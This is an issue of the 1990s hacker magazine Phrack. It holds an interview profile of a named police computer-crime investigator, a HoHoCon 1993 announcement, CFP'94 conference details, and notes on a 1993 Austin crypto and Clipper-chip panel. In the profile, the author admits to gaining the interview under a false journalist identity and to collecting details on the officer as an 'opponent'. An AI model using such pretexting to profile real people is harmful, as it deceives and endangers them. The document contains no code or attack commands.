‑ Computers in Narcotics Investigations ‑ Computer Crime Investigations

National Intelligence Academy Ft. Lauderdale, Fl.

‑ Supervising Intelligence Operations Surveillance Techniques Electronic Tracking Electronic Eavesdroping Video Evidence Techniques ‑ Telephone Systems Wiretaps Dialed Number Recorders Pager/Fax Intercepts Technical Telephony Course

PREVIOUS ASSIGNMENTS: Patrol Criminal Investigations/Burglary Criminal Investigations/Homicide Crime Prevention Special Investigations/Vice‑Intel

MEMBER: Communications Fraud Control Association Washington, D.C.

PUBLICATIONS: Various computer/telecommunications crime oriented articles for assorted law enforcement and computer industry magazines (i.e., POLICE CHIEF, DATA TODAY)

Posing as a freelance writer from the "Law Enforcement Journal", I made calls to local police agencies all over this area asking about their Computer Crime Units and received replies ranging from "What are you talking about?" to "Maybe FRAUD handles that...hey, Charlie...do the FRAUD guys do anything with compoooters?". So much for the Louisville Division of Police...no fear there, right?

But I decided to push on since Louisville, though not a

hotbed of phreakers/hackers, IS the latest home of TAP MAGAZINE (a la Blitzkrieg BBS and the Predat0r) and has a smattering of "hometown" folks engaged in less than legal activities through the local phone lines.

The call made to the Jefferson County Police got me a

solid response of "You'll have to talk to Lt. Bill Baker. Hey, Charlie, where's Lt. Baker working now?" (This guy is so low key his own department doesn't even know where he works!) They finally decide he's someplace called "Adam Station" and

through "various" contacts and a friendly local attorney who rarely pays for telephone calls himself, I managed to obtain quite a bit of information about Lt. Baker and his obviously misguided quest.

Lt. Baker is fairly typical of the "new breed" of

high‑tech investigator currently being churned out by the various federal training schools. He's aggressive and, from talking to other members of his department, thought of as a "computer weenie" who was probably a hacker himself before he embraced the "dark side" of "the FORCE". (I personally believe that this may be more fact than fantasy after talking to him on the phone since he seems to know more about phreaking and hacking than one would think would be taught in the aforementioned federal institutes of higher learning.)

I finally managed to speak with Lt. Baker on the phone

and gave him my "writing about computer crime" rap which he bought with little suspicion. The following are excerpts from the recording I made of the conversation [comments in brackets are mine]:

TG: How would you rate the progress of computer and telecommunications crime investigations in this area?

Baker: There have been some good cases made here, but there's still a long way to go. The main problem is that there hasn't been a push from local businesses in this area to combat these types of crimes. Most of'em don't want to admit they've been hit from the outside. If there's no complaints, then the departments aren't likely to want to spend the money to dig up additional crime, right?

TG: Of the hackers you've worked on, what kind of capabilities do they have and how good do you think they are?

Baker: Well, hackers and phreaks are like any other cross‑section of a criminal group...there are some that are very good and some that are pitiful. The best thing you can say about working hacker/phreaker cases is that a lot of them catch themselves. They have huge egos and tend to brag a good deal about what they've done and how they did it.

TG: Does that mean that you don't think a computer crime investigator has to be as good as the criminals he chases...I mean, because a lot of these people leave so many clues behind? How would you rate your ability in this field?

Baker: Nope...not at all. I think that as technology gets better so will the crooks. Let's keep the record straight here. Sure, there are bozos out there who read a how‑to file in an old PHRACK and decide that they have the knowledge they need to nuke the phone company or ride a VAX like a Hell's Angel rides a Harley. Those are the easy ones. The ones who ‑write‑ [author's emphasis] the technical articles in PHRACK are the ones to worry about. There are some stomp‑down [??] incredibly knowledgeable individuals in circulation blasting away with their modems at any target of opportunity.

TG: You didn't mention your own ability for investigating these people.

Baker: (Laughs) Yeah, well...let's say I know enough to get by and am smart enough to know that there are no absolute experts.

TG: How would you comment on the Steve Jackson Games case? Do you think the Secret Service set a lot of bad precedents?

Baker: (Laughs) Noooooooo....sorry, pal. That's been jawed to death in every phreak/hack mag, legal journal, and Internet newsgroup in existence and I'm not about to stick my neck out on that one, OK? I will say that everyone learned a lot from that case and I seriously doubt if you'll see the same set of problems reoccurring in future cases. Maybe the CSPR or EFF hired guns can come up with a new group of loopholes, in which case we'll have to find new ways to circumvent those attacks.

TG: You sound a little critical of the EFF and CSPR efforts in their defense of so‑called "computer criminals".

Baker: Well, I'm sure that they believe in what they're doing. They must to invest that much cash and energy. But I think there has to be some middle ground agreed upon rather than just whining about "all information should be free" and "if I can get into your system then I should be allowed to look around". I'm not going to launch into a diatribe on organizations that I don't agree with. I'm simply going to work harder at dotting every "i" and crossing every "t" to make my cases more secure. Stealing telephone service is a crime, defrauding businesses is a crime, gaining unauthorized access into someone else's computer system is, in most states, a crime, and even if there's no law on the books making it a crime, it's wrong.

TG: Since by your own statement, you feel that high‑tech crime investigation is still in its infancy, what groups or organizations would you say are in the lead in trying to combat this type of crime?

Baker: The most significant two I know are the Federal Law Enforcement Training Center in Glynco, Georgia, and the Communications Fraud Control Association based out of Washington, D.C. FLETC [he pronounces it FLET‑SEE] probably has the finest computer crimes training program in the country. They bring in acknowledged experts and don't cut the students any slack as far as learning to do things correctly and, most importantly, legally. The CFCA is the leader in Telecommunications security and provide training and assistance to telecom and computer companies along with law enforcement agencies all over the country.

TG: Why do you think so few law enforcement agencies know anything about computer crime investigations? Are they going to leave the phreaks to the feds?

Baker: Nah...I don't think you can simplify it that easily. Most departments don't have dedicated computer crime units because of lack of funds to support such a unit, lack of trained personnel, lack of understanding of the magnitude of the problem, fear of increasing their crime stats or any combination of those reasons. When I first got into this, there weren't any experts. John Maxfield and his BOARDSCAN operation got a lot of talk in the hack/phreak journals and there were a small handful of others, but no real standout authorities. I talked to an awful lot of people before I hooked up with Clo Fleming at SPRINT Security who helped me a lot.

TG: Do you still trade information with SPRINT?

Baker: I have contacts with all the major telecom carriers. The training I got at FLETC really helped make some valuable contacts. But I guess SPRINT and Clo Fleming would be my first choice simply because they were willing to help me when no one else would. You can't operate in this environment without contacts in the OCC's. It can't be done and the OCC's [Other Common Carriers] are a lot more willing to assist law enforcement now than they were in 1985. Of course, the telecommunications industry is taking a $4‑5 billion hit a year from fraud and that has a lot to do with it.

TG: Do you subscribe to the hacker/phreaker magazines?

Baker: Sure...I subscribe to 2600 and get copies of some others. I think PHRACK's probably the best overall, but I can't afford the subscription rate they've imposed on government agencies since Craig Neidorf took the hit for publishing the "golden" E911 document. I've learned a ton of stuff over the years from PHRACK and wish it were still free, but they have a right to their info just like the people who own the systems attacked by hackers. It'd be kind of hypocritical for me to rip off PHRACK and then turn and prosecute some other guy for ripping off information from another source, right?

TG: What problems do you foresee in the future in computer and telecom crime investigations?

Baker: Jeez...why don't you ask me when we'll have world peace or something easy? OK, I think we'll probably see the larger departments being forced to play catch‑up with the current trends and always being a little behind in this area. I also think you'll see more officers losing cases and being sued, a la SJG, until they get the specific training required to handle these cases the right way. Turning seized systems over to the local "computer guy" in the department is going to cost'em in the long run because every lawyer who gets one of these cases is going to compare it bit by bit with the SJG case to see if there's anything there he can use for his client's defense.

TG: There has been a lot of discussion about whether or not computer systems should be seized rather than just making copies of the data for evidence. What is your policy on equipment seizures when working cases like this?

Baker: First of all, I don't go on fishing expeditions with search warrants. If I have enough to convict a guy then I get the warrant. I take everything that's there and do the analysis. I've had cases where the defendant has requested copies of data he needed for various reasons and I've had no problems with furnishing them as long as the request is reasonable. I ask for forfeiture of the equipment if I can link it to the crime because the law says I can. If I can't link the computers, then I give them back...simple as that. I think it's kind of interesting that most hackers or phreaks will refuse to take a guilty plea for a reduced charge, even if I have them stone cold and they're looking at a 99.999999% chance of conviction in a jury trial, if it means they'll lose their equipment in the deal. It makes good leverage in certain situations.

TG: Did you have any part in Operation Sun‑Devil?

Baker: Nope. Though I'd have liked to. I was on a lot of the systems taken down in Sun‑Devil.

TG: You said you were on some of the systems busted in the Sun‑Devil operation, are you still on phreak/hack boards and would you name any?

Baker: (Laughs a lot) I think I'll pass on naming systems I'm on, OK? That'd be cheating. (Laughs again) But I get around enough to know what's going on. There are lots of investigators out there calling the boards.

TG: I appreciate your time, Lt. Baker, and would like to ask one last question. What motivates you in these cases since the alleged "theft" involves pretty intangible property?

Baker: Motivation? Hmmmm...I suppose you could say it's the chase that motivates me more than the catch, though the catch is pretty good, too. These cases tend to be more one‑on‑one than some other types and the adversaries can be very good at covering their tracks. Hell, I probably have more in common with the people I target than they'd like to believe. As for the "intangibility" of the stolen goods, well, that's why we have court systems, isn't it...to define those little details.

TG: A lot of computer crime investigators would rather stay in the background, but you don't seem to have taken that position. Why not?

Baker: Well, like anyone involved in anything relatively new, as opposed to the old standard type crimes like murder and armed robbery, it's to my benefit to have anything printed informing people of the problems created by this type of activity. We all pay the price for telecom fraud, credit card fraud, data loss due to illegal access to computers and all the rest. But the people involved in these crimes, for the most part, don't exhibit the same profiles as the so‑called "violent" criminals. In fact, I've had some very friendly conversations with a number of phreaks and hackers. Investigators who have problems would probably have them no matter what crimes they were investigating. I never assume that I'm smarter than anyone I'm chasing and I don't rub their noses in it when I make a case. Just like I don't lose sleep when I just can't seem to get that last piece of the puzzle and one gets away. It's hide‑and‑seek in cyberspace. Pretty good game, actually.

For what it's worth, there it is. The interview printed here doesn't contain a lot of the bullshit that was thrown back and forth during our conversation, just the relevant details which tend to give an insight into this guy.

Frankly, I was impressed by the fact that he didn't seem anything like I had expected after reading horror stories about other agencies and investigators. This guy was personable and maybe that's an indicator that he's dangerous. Never, ever underestimate your opponents ‑‑ even if they do sound like "good ole boys" and talk to you like you're the best friend they ever had. Always remember that COPS INVENTED SOCIAL ENGINEERING!

My next "computer cop" profile will deal with a rising star in the U.S. Secret Service and his connections to the Guidry Group, a consulting organization working for the cellular phone industry in combating cellular fraud.

Conference News Part I

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 6 of 27

Conference News

Part I

****************************************

[Official Announcement / Call For Participation] (Distribute Freely)

dFx, Phrack Magazine and cDc ‑ Cult Of The Dead Cow proudly present :

The Fourth Annual

H O H O C O N

"Cliff Stoll My K0DEZ!@$#!"

Who: All Hackers, Journalists, Security Personnel, Federal Agents, Lawyers, Authors, Cypherpunks, Virtual Realists, Modem Geeks, Telco Employees, and Other Interested Parties.

Where: Austin North Hilton & Towers and Super 8 Motel 6000 Middle Fiskville Road Austin, Texas 78752

U.S.A.

Hilton : (800) 347‑0330 / (512) 451‑5757 Super 8: (800) 800‑8000 / (512) 467‑8163

When: Friday December 17 through Sunday December 19, 1993

What is HoHoCon?

‑‑‑‑‑‑‑‑‑‑‑

HoHoCon is the largest annual gathering of those in, related to, or wishing to know more about the computer underground. Attendees generally include some of the most notable members of the "hacking" and "telecom" community, journalists, authors, security professionals, lawyers, and a host of others. Previous speakers include John Draper (Cap'n Crunch), Ray Kaplan, Chris Goggans (Erik Bloodaxe), Bruce Sterling, and many more. The conference is also one of the very few that is completely open to the public and we encourage anyone who is interested to attend.

Hotel Information

‑‑‑‑‑‑‑‑‑‑‑‑

The Austin North Hilton recently split its complex into two separate hotels; the Hilton and the newly added Super 8. HoHoCon guests have the choice of staying in either hotel. Group rates are as followed :

Super 8: Single ‑ $46.50, Double ‑ $49.50, Triple ‑ $52.50, Quad ‑ $55.50 Hilton : Single ‑ $69.00, Double ‑ $79.00, Triple ‑ $89.00, Quad ‑ $99.00

Once again, the hotel has set aside a block of rooms for the conference and we recommend making your reservations as early as possible to guarantee a room within the block, if not to just guarantee a room period. Rooms for the handicapped are available upon request. To make your reservations, call the number listed above that corresponds with where you are and where you want to stay and make sure you tell them you are with the HoHoCon conference or else you'll end up throwing more money away. The hotel accepts American Express, Visa, Master Card, Discover, Diner's Club, and Carte Blanche credit cards.

Check‑in is 3:00 p.m. and check‑out is 12:00 noon. Earlier check‑in is available if there are unoccupied rooms available. Please note that in order for the hotel to hold a room past 6:00 p.m. on the date of arrival, the individual reservation must be secured by a deposit or guaranteed with one of the credit cards listed above. Also, any cancellations of guaranteed reservations must be made prior to 6:00 p.m. on the date of arrival. You will be responsible for full payment of any guaranteed reservations which are not cancelled by this time.

The hotel provides transportation to and from the airport and will give you full information when you make your reservations.

Directions

‑‑‑‑‑‑‑‑

For those of you who will be driving to the conference, the following is a list of directions provided by the hotel (so, if they're wrong, don't blame me):

Dallas : Take IH 35 south to exit 238‑B, the Houston exit. At the first stop light, turn right on to 2222. Turn off of 2222 onto Clayton Lane (by the Greyhound Station). At the stop sign, turn right onto Middle Fiskville, the hotel is on the left.

San Antonio : Take IH 35 north to exit 238‑B, the Houston exit. At the second stop light, turn left onto 2222. Turn off 2222 onto Clayton Lane (by the Greyhound Station). At the stop sign, turn right onto Middle Fiskville, the hotel is on the left.

Houston (on 290) : Take 290 west into Austin. Exit off of 290 at the IH35 exit (do not get on 35). Stay on the access road heading west, you will pass two stop lights. Turn off the access road onto Clayton Lane (by the Greyhound Station). At the stop sign, turn right onto Middle Fiskville, the hotel is on the left.

Houston (on 71) : Take 71 west into Austin. Exit onto 183 north. Take 183 north to 290 west. Take 290 west to the IH 35 exit. Exit off of 290 at the IH 35 exit (do not get on 35). Stay on the access road heading west, you will pass two stop lights. Turn off the access road onto Clayton Lane (by the Greyhound Station). At the stop sign, turn right onto Middle Fiskville, the hotel in on the left.

Airport : Exit the airport parking lot and turn right onto Manor Road. Take Manor Road to Airport Boulevard and turn right. Take Airport Boulevard to IH 35 north. Take IH 35 to exit 238‑B. At the second stop light, turn left onto 2222. Turn off of 2222 onto Clayton Lane (by the Greyhound Station). At the stop sign, turn right onto Middle Fiskville, the hotel is on the left.

Call the hotel if these directions aren't complete enough or if you need additional information.

Conference Details

____________

HoHoCon will last 3 days, with the actual conference being held on Saturday, December 18 starting at 11:00 a.m. and continuing until 5 p.m. or earlier depending on the number of speakers. Although a few speakers have confirmed their attendance, we are still in the planning stages and will wait until the next update to release a speaking schedule. We welcome any speaker or topic recommendations you might have (except for, say, "Why I Luv Baked Potatos On A Stik!"), or, if you would like to speak yourself, please contact us as soon as possible and let us know who you are, who you represent (if anyone), the topic you wish to speak on, a rough estimate of how long you will need, and whether or not you will be needing any audio‑visual aids.

We would like to have people bring interesting items and videos again this year. If you have anything you think people would enjoy having the chance to see, please let us know ahead of time, and tell us if you will need any help getting it to the conference. If all else fails, just bring it to the con and give it to us when you arrive. Any organization or individual that wants to bring flyers to distribute during the conference may do so. You may also send your flyers to us ahead of time if you can not make it to the conference and we will distribute them for you. Left over flyers are included with information packets and orders that we send out, so if you want to send extras, go ahead.

Cost

‑‑‑

Unlike smaller, less informative conferences, we do not ask you to shell out hundreds of dollars just to get in the door, nor do we take your money and then make you sleep in a tent. We are maintaining the motto of "give $5 if you can", but due to the incredibly high conference room rate this year, we may step up to "$5 minimum required donation" or "give us $5 or we'll smash your head in". Five dollars is an outrageously low price compared to the suit infested industry conferences or even the new "Cons are k00l and trendy, I gotta do one too!" conferences that are charging up to $50 for admission alone.

To encourage people to donate, we will once again be having our wonderless "Raffle For The Elite" during the conference. We will issue a prize list in a future update, but we can guarantee that this year there will be a lot more (and better) prizes than last year, including a full system (and, no, it's not a c64 or 286). Anyone who wishes to donate worthwhile items to the raffle, please let us know ahead of time, or if it's a last minute acquirement, just bring it to the conference.

Miscellaneous Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑

To save myself some time by mailing responses to a lot of the same questions I expect to get, I'll answer a few of them here.

Although I have not talked to him myself yet, Steve Ryan has told me that Bruce Sterling will indeed be in attendance and may say a few words.

As far as I know, there will not be any visitors from any other planets at the conference. Scot Chasin is still on Earth and will be making an appearance.

Video cameras will *not* be allowed inside the conference room without prior consent due to previous agreements made with speakers who do not wish for certain parts of their speech to be rebroadcast. Still cameras and Etch‑A‑Sketch's are fine and tape recorders are too easily hidden for us to be able to control.

Videos and T‑Shirts from last year's conference are still available, and will also be on hand during the conference. We do not handle the LoD World Tour shirts, but I can tell you that the old ones are gone and a *new* LoD shirt will be unveiled at the conference. The HoHoCon shirts are $15 plus $3 shipping ($4.00 for two shirts). At this time, they only come in extra large. We may add additional sizes if there is a demand for them. The front of the shirt has the following in a white strip across the chest:

I LOVE FEDS

(Where LOVE = a red heart, very similar to the I LOVE NY logo)

And this on the back:

dFx & cDc Present

HOHOCON '92

December 18‑20

Allen Park Inn

Houston, Texas

There is another version of the shirt available with the following:

I LOVE WAREZ

The video includes footage from all three days, is six hours long and costs $18 plus $3 shipping ($4.00 if purchasing another item also). Please note that if you are purchasing multiple items, you only need to pay one shipping charge of $4.00, not a charge for each item. If you wish to send an order in now, make all checks or money orders payable to O.I.S., include your phone number and mail it to the street address listed below. Allow a few weeks for arrival.

There will be new HoHoCon '93 shirts available at the conference and a video of the festivities will be out early next year.

Correspondence

‑‑‑‑‑‑‑‑‑‑

If anyone requires any additional information, needs to ask any questions, wants to RSVP, wants to order anything, or would like to be added to the mailing list to receive the HoHoCon updates, you may mail us at:

hohocon@cypher.com drunkfux@cypher.com

cDc@cypher.com

drunkfux@crimelab.com dfx@nuchat.sccsi.com drunkfux@5285 (WWIV Net)

or via sluggo mail at:

HoHoCon

1310 Tulane, Box 2

Houston, Texas

77008‑4106

We also have a VMB which includes all the conference information and is probably the fastest way to get updated reports. The number is:

713‑867‑9544

You can download any of the conference announcements and related materials by calling Metalland Southwest at 713‑468‑5802, which is the offical HoHoCon BBS. The board is up 24 hours a day and all baud rates are supported.

Those of you with net access can ftp to cypher.com and find all the HoHoCon information available in /pub/hohocon. The .gifs from previous cons are *not* currently online.

Conference information and updates will most likely also be found in most computer underground related publications and mailing lists, including CuD, CSP, Mondo 2000, 2600, Phrack, TUC, phn0rd, cypherpunks, etc. They should also appear in a number of newsgroups including comp.dcom.telecom, alt.security, comp.org.eff.talk, and sci.crypt. We completely encourage people to use, reprint, and distribute any information in this file.

Same stupid ending statement from last year to make us look good

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HoHoCon '93 will be a priceless learning experience for professionals and gives journalists a chance to gather information and ideas direct from the source. It is also one of the very few times when all the members of the computer underground can come together for a realistic purpose. We urge people not to miss out on an event of this caliber, which doesn't happen very often. If you've ever wanted to meet some of the most famous people from the hacking community, this may be your one and only chance. Don't wait to read about it in all the magazines and then wish you had been there, make your plans to attend now! Be a part of what we hope to be our largest and greatest conference ever.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

COMPUTERS, FREEDOM, AND PRIVACY '94 Conference Announcement Scholarships, Writing Competition Notice 23‑26 March 1994, Chicago, Il.

The fourth annual conference, "Computers, Freedom, and Privacy," (CFP'94) will be held in Chicago, Il., March 23‑26, 1994. The conference is hosted by The John Marshall Law School; George B. Trubow, professor of law and director of the Center for Informatics Law at John Marshall, is general chair of the conference. The program is sponsored jointly by these Association for Computing Machinery (ACM) Special Interest Groups: Communications (SIGCOMM); Computers and Society (SIGCAS); Security, Audit and Control (SIGSAC).

The advance of computer and communications technologies holds great promise for individuals and society. From conveniences for consumers and efficiencies in commerce to improved public health and safety and increased participation in government and community, these technologies are fundamentally transforming our environment and our lives.

At the same time, these technologies present challenges to the idea of a free and open society. Personal privacy and corporate security is at risk from invasions by high‑tech surveillance and monitoring; a myriad of personal information data bases expose private life to constant scrutiny; new forms of illegal activity may threaten the traditional barriers between citizen and state and present new tests of Constitutional protection; geographic boundaries of state and nation may be recast by information exchange that knows no boundaries in global data networks.

CFP'94 will assemble experts, advocates and interest groups from diverse perspectives and disciplines to consider freedom and privacy in today's "information society. Tutorials will be offered on March 23, 1994, from 9:00 a.m. ‑ noon and 2:00 ‑ 500 p.m. The conference program is Thursday, March 24, through Saturday, March 26, 1994, and will examine the potential benefits and burdens of new information and communications technologies and consider ways in which society can enjoy the benefits while minimizing negative implications.

STUDENT PAPER COMPETITION

Full time college or graduate students may enter the student paper competition. Papers must not exceed 3000 words and should address the impact of computer and telecommunications technologies on freedom and privacy in society. Winners will receive financial support to attend the conference and present their papers. All papers should be submitted by December 15, 1993, (either as straight text via e‑mail or 6 printed copies) to: Prof. Eugene Spafford, Department of Computer Science, Purdue University, West Lafeyette, IN 47907‑2004. E‑Mail: spaf@cs.purdue.edu; Voice: 317‑494‑7825

CONFERENCE REGISTRATION INFORMATION

Registration fees are as follows:

If paid by: 1/31/94 3/15/94 4/23/94 Early Regular Late

Tutorial $145 $175 $210

Conference 315 370 420

NOTE: ACM members (give membership number) and John Marshall Alumni (give graduation date) receive a $10 discount from Tutorial and $15 discount from Conference fees.

CONFERENCE REGISTRATION: Inquiries regarding registration should be directed to RoseMarie Knight, Registration Chair, at the JMLS address above; her voice number is 312‑987‑1420; E‑mail, 6rknight@jmls.edu.

CONFERENCE INFORMATION: Communications regarding the conference should be sent to: CFP'94, The John Marshall Law School, 315 S. Plymouth Ct., Chicago, IL 60604‑3907

(Voice: 312‑987‑1419; Fax: 312‑427‑8307; E‑mail: CFP94@jmls.edu)

ROOM RESERVATIONS: The Palmer House Hilton, located in Chicago's "loop," and only about a block from The John Marshall Law School, is the conference headquarters. Room reservations only should be made directly with the hotel, mentioning "CFP'94" to get the special conference rate of $99.00, plus tax. (17 E. Monroe., Chicago, Il., 60603, Tel: 312‑726‑7500; 1‑800‑HILTONS; Fax 312‑263‑2556)

NOTE: More specific information about conference program content will be available December 1, 1993.

***********

George B. Trubow, Professor of Law

Director, Center for Informatics Law

The John Marshall Law School

315 S. Plymouth Ct.

Chicago, IL 60604‑3907

Fax: 312‑427‑8307; Voice: 312‑987‑1445

E‑mail: 7trubow@jmls.edu

......SCHOLARSHIPS

The Conference on Computers, Freedom & Privacy (CFP'94) is pleased to announce that it will once again provide a number of full tuition scholarships for attendance at the conference. The conference will be held in Chicago, IL from March 23rd through March 26th, 1995 and will be hosted by the John Marshall Law School under the chairmanship of George Trubow.

The conference traditionally attracts an extremely diverse group of persons concerned with issues relating to the rapid development of the "information society"; civil libertarians, information providers, law enforcement personnel, privacy advocates, "hackers", sociologists, educators and students, computer professionals, cryptography advocates, government policy makers and other interested parties have all played major roles in the three previous conference.

Speakers at previous conferences have included Electronic Frontier Foundation (EFF) co‑founders John Perry Barlow and Mitch Kapor, FBI Deputy Director William A. "Al" Bayse, writer Bruce Sterling, privacy advocate Simon Davies, Harvard University law professor Lawrence Tribe, hacker "Phiber Optik", Georgetown University's Dorothy Denning, "Cuckoo's Egg" author Clifford Stoll, Prodigy counsel George Perry, USA Today founder Al Neuwith, former FCC Chairman Nicholas Johnson, Computer Professionals for Social Responsibility (CPSR)'s Marc Rotenberg, Arizona prosecutor Gail Thackeray, and Bay Area Women in Computing's Judi Clark.

The scholarships are intended to provide access to the conference to those that would like to attend the conference but are unable to afford the tuition. They are available to undergraduate and graduate students in any discipline (previous student attendees have come from computer science, law, sociology, liberal arts, journalism, and womens' studies backgrounds), law enforcement personnel, hackers, social scientists, and others interested in the future of the information society.

Persons interested in a scholarship should send the following information (e‑mail greatly preferred) to:

John F. McMullen

Perry Street

Jefferson Valley, NY 10535

mcmullen@panix.com

(914) 245‑2734 (voice)

(914) 245‑8464 (fax)

1. Personal Information ‑‑ Name, Addresses (including e‑mail), Phone Numbers, School and/or Business Affiliation

2. Short Statement explaining what the applicant helps to get from CFP'94 and what impact that attendance may have in the applicant's community or future work.

3. Stipulation that the applicant understands that he/she is responsible for transportation and lodging expenses related to the conference. The scholarship includes tuition and those meals included with the conference.

4. Stipulation that the applicant would not be able to attend the conference if a scholarship is not granted. The applicant stipulates that, if granted a scholarship, he /she will attend the conference.

6. Stipulation that the applicant, if granted a scholarship, will provide a contact John McMullen at the above e‑mail address or phone numbers with any questions.

The number of available scholarships will be determined by funding available.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Notes from the Austin Crypto Conference, September 22, 1993

by Gregory W. Kamen

‑‑‑ Dinosaur Warning ‑‑‑

Disclaimer: A lot of people here noted disclaimed what they said as "not legal advice". In addition, this was prepared from notes which were not necessarily legible or complete, therefore I disclaim any responsibility for misquoting or mistranscribing this information. (If you don't like it, you try typing "cypherpunks" over and over again :P). Please note that in Q & A sessions, the answers were relevant, though not always responsive to the questions. In addition, I state that this information does not represent legal advice from me or solicitation of legal representation, and does not necessarily represent the position of EFH, EFF, EFF‑Austin, the individual conference participants, or any living person.

‑‑‑‑‑‑‑‑‑‑‑

The room was set up to seat approximately 180 people. It was essentially full, and there were a few people standing‑‑not bad for a Wednesday afternoon.

There was a large (about 14 people) contingent from EFH present.

Steve Jackson opened the meeting with a few introductory remarks, among which were that a subpoena had been served on Austin Code Works, a publisher of cryptographic software.

We can expect to hear about the case in news magazines of general circulation in about two months.

Bruce Sterling delivered the keynote address.

He began by establishing a context by defining cryptography:

‑‑ as secret coding to avoid the scrutiny of a long list of entities, ‑‑ as a way to confine knowledge to those initiated and trusted, ‑‑ as a means to ensure the privacy of digital communication, and ‑‑ as a new form of information economics

Sterling then noted that crypto is "out of the closet"

‑‑ it is heard of on the streets

‑‑ the government acknowledges it by bringing forth its Clipper chip ‑‑ it is in the hands of the people

‑‑ public key crypto is out there and commercially available ‑‑ the typical time to market from first publication of a new idea is 20 years. Diffie published the first public key crypto algorithm in 1975, thus the target date for mass crypto would be 1995. Bringing it to market will require bringing of political pressure, lawsuits, and money.

Next, Sterling moved to the subject of the grand jury proceedings in San Jose on 9/22.

‑‑ Export law violations have been alleged. Whatever the outcome, this proceeding is certainly not the end of the subject.

Finally, before closing by noting that EFF‑Austin is not EFF, Sterling shared a brief background of the panelists:

‑‑ they are people who can tell us about the future

‑‑ they are directors of national EFF and can share information Panelists on First Panel

‑‑ Mitch Kapor ‑ co‑founder of EFF, software designer, entrepreneur, journalist, philanthropist, activist. He spoke out on obscure issues in the beginning and made them seem less obscure. He has done good deeds for the public.

‑‑ Jerry Berman ‑ President of EFF, activist background, published widely on security and privacy issues, formerly active with ACLU, and is on Clinton administration's National Information Infrastructure team. Panelists on Second Panel

‑‑ Esther Dyson ‑ journalist, has widely read project "Release 1.0", is a guru in Europe.

‑‑ Mike Godwin ‑ lawyer for EFF, veteran public speaker, attended UTAustin, on the board of EFF‑Austin as well as EFF.

Panelists on Third Panel

‑‑ Eric Hughes ‑ not EFF member, started cypherpunks mailing list, from California

‑‑ John Gilmore ‑ 20 year programmer, pioneer at Sun, civil libertarian

‑‑ John Perry Barlow ‑ co‑founder of EFF, media junkie, and author.

PANEL #1: POLICY

Kapor ‑ Opening remarks: Framing the issue

a. Series of conferences in Washington, briefed EFF on how laws are made, at a technical level of the process. Berman was instrumental in passing the ECPA, which was later used successfully in Steve Jackson Games case.

b. ECPA is a good thing: it says Email should be as private as postal mail. However, it doesn't go far enough because it is easy to listen in on cell phones.

c. Kapor felt need technology to protect privacy. Laws alone are not enough. Berman stated view (at that time. He has since changed his mind) widely held within the Beltway that laws were sufficient.

d. Survey: 20 percent of those present use PGP. 80 percent have heard of PGP.

Berman ‑

a. Following on Kapor's point that ECPA was soft, Berman says the politicians will remain clueless until we educate them. If it is knowledge that can alter the political process, it must be done. b. EFF established a Washington presence because policy is being made to design and govern the electronic frontier by the big commercial players. The public and the consumer are not represented.

c. We're working on a goal that the national information infrastructure serve the public interest. For example, if the big players are allowed to dominate the process, they will control access and the NII will look like 500 cable channels rather than a point‑to‑point switched network like Internet.

d. There's a big battle coming: computers and communication are in abundance such that everyone can be a publisher. This raises at the very least a First Amendment issue.

e. The Clipper Chip

‑‑ has great potential for the net; however, government agencies are not sure of control

‑‑ privacy and security are essential for development of the national information infrastructure. This is a threat to the law enforcement community.

‑‑ the response of the law enforcement community has been to attempt to throttle the technology.

‑‑ in order to capture the future, they want to develop the technology themselves.

‑‑ EFF's role has been to say that we shouldn't go ahead with the Clipper chip proposal.

‑‑ the ultimate big question: What to do when all communications are encrypted.

‑‑ Clinton led off with a study of cryptography policy and introduced the Clipper chip at the same time, which demonstrates that the policy was already determined in the opinions of many. It was introduced not as something being studied, but as a fait accompli.

‑‑ Clipper proposal is bad because it is based on a secret algorithm which has not been subjected to adequate scrutiny, it is counterintuitive to interoperability because stronger crypto is being developed outside the United States, and it includes a key escrow provision that includes only "insiders" who developed the technology.

‑‑ We don't prescreen the content of communications. The law enforcement community needs a warrant. That is fundamental to the First, Fourth, and Fifth Amendments.

f. We oppose the Clipper/Skipjack chip

‑‑ there's no evidence showing that law enforcement will be unduly hampered in its efforts to stop crime if crypto is available. ‑‑ the positive and negative implications of widespread crypto have not been considered.

‑‑ law enforcement may have a problem, but if they have a warrant they should be able to get access.

‑‑ as long as Clipper is not mandated, people can use other types of crypto.

g. Conclusions

‑‑ if Clipper is voluntary, it doesn't work, because people who want to encrypt safely will use other products.

‑‑ if Clipper is mandated, there are serious constitutional issues. ‑‑ Even if the Clipper chip proposal fails, we still lose under the current scheme, because the export control laws guarantee that we will not have crypto interoperable with the rest of the world.

h. EFF chairs a large coalition including representatives of Microsoft, IBM, and ACLU to work against this.

i. Congress only needs one bad case, like a terrorist attack, to go the other way.

Q & A ‑

Q. Is the key in the hardware or software with Clipper?

A. It's in the hardware, therefore the instrument is permanently compromised once the keys are released from escrow. The law enforcement arguments are really fronts for NSA and their religious commitment to prevent the spread of crypto. It's NSA's mission to make sure it "busts" every communication in the world, therefore why would they propose any encryption without a "back door" through which they could decipher all transmissions.

Q. What is the current state of the law between NIST and NSA?

A. NSA was selling "secure" phones. They wanted a new classification of information. Responsibility for classified systems rests with NSA. NIST is brought in to handle domestic crypto. In terms of budget and experience, however, NSA is dominant, and NIST relies on them.

Q. How does GATT relate to the Clipper proposal

A. It's not dealt with in GATT. There's no agreement on an international standard.

Q. What's going on with PGP?

A. Pretty Good Privacy is the people's crypto. It was independently developed, and has been widely distributed for our information and security. There are two current controversies regarding PGP. First is whether it is subject to export controls, and second is its intellectual property status.

Q. What facts do we have regarding the history of Clipper?

